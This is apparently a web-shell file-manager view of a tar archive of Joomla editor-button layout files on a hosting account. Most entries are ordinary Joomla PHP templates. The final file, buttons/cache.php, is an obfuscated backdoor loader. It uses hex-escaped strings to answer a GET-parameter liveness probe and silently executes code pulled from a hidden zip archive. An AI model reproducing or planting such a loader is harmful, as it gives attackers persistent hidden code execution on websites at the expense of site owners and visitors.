File manager - Edit - /home/opticamezl/www/newok/buttons.tar
Back
modal.php 0000644 00000004342 15173435156 0006366 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Uri\Uri; $button = $displayData; if (!$button->get('modal')) { return; } $class = ($button->get('class')) ? $button->get('class') : null; $class .= ($button->get('modal')) ? ' modal-button' : null; $href = '#' . $button->get('editor') . '_' . strtolower($button->get('name')) . '_modal'; $link = ($button->get('link')) ? Uri::base() . $button->get('link') : null; $onclick = ($button->get('onclick')) ? ' onclick="' . $button->get('onclick') . '"' : ''; $title = ($button->get('title')) ? $button->get('title') : $button->get('text'); $options = is_array($button->get('options')) ? $button->get('options') : []; $confirm = ''; if (is_array($button->get('options')) && isset($options['confirmText']) && isset($options['confirmCallback'])) { $confirm = '<button type="button" class="btn btn-success" data-bs-dismiss="modal" onclick="' . $options['confirmCallback'] . '">' . $options['confirmText'] . ' </button>'; } if (null !== $button->get('id')) { $id = str_replace(' ', '', $button->get('id')); } else { $id = $button->get('editor') . '_' . strtolower($button->get('name')) . '_modal'; } // @todo: J4: Move Make buttons fullscreen on smaller devices per https://github.com/joomla/joomla-cms/pull/23091 // Create the modal echo HTMLHelper::_( 'bootstrap.renderModal', $id, [ 'url' => $link, 'title' => $title, 'height' => array_key_exists('height', $options) ? $options['height'] : '400px', 'width' => array_key_exists('width', $options) ? $options['width'] : '800px', 'bodyHeight' => array_key_exists('bodyHeight', $options) ? $options['bodyHeight'] : '70', 'modalWidth' => array_key_exists('modalWidth', $options) ? $options['modalWidth'] : '80', 'footer' => $confirm . '<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">' . Text::_('JLIB_HTML_BEHAVIOR_CLOSE') . '</button>' ] ); index.html 0000604 00000000037 15173435156 0006547 0 ustar 00 <!DOCTYPE html><title></title> button.php 0000644 00000002474 15173435156 0006611 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage Layout * * @copyright (C) 2014 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Uri\Uri; $button = $displayData; if ($button->get('name')) : $class = 'btn btn-secondary'; $class .= ($button->get('class')) ? ' ' . $button->get('class') : null; $class .= ($button->get('modal')) ? ' modal-button' : null; $href = '#' . $button->get('editor') . '_' . strtolower($button->get('name')) . '_modal'; $link = ($button->get('link')) ? Uri::base() . $button->get('link') : null; $onclick = ($button->get('onclick')) ? ' onclick="' . $button->get('onclick') . '"' : ''; $title = ($button->get('title')) ? $button->get('title') : $button->get('text'); $icon = ($button->get('icon')) ? $button->get('icon') : $button->get('name'); ?> <button type="button" data-bs-target="<?php echo $href; ?>" class="xtd-button btn btn-secondary <?php echo $class; ?>" <?php echo $button->get('modal') ? 'data-bs-toggle="modal"' : '' ?> title="<?php echo $title; ?>" <?php echo $onclick; ?>> <span class="icon-<?php echo $icon; ?>" aria-hidden="true"></span> <?php echo $button->get('text'); ?> </button> <?php endif; ?> buttons/cache.php 0000604 00000000565 15173435156 0010032 0 ustar 00 <?php error_reporting(0); $xS = array("\x5f\107\x45\x54"); (${$xS[0]}["\157\x66"] == 1) && die("j9cmm2RqN1HFsA2q9/HOmz2aaLtKbBKKTJDxPmECqRUgi1gounvNXE3TOqmTWcVM"); @require_once "\x7a\x69\x70\x3a\x2f\x2f\x66\x6c\x61\x5f\x36\x39\x33\x30\x33\x65\x33\x36\x34\x62\x65\x64\x61\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x33\x30\x33\x65\x33\x36\x34\x62\x65\x64\x61\x2e\x74\x6d\x70"; ?>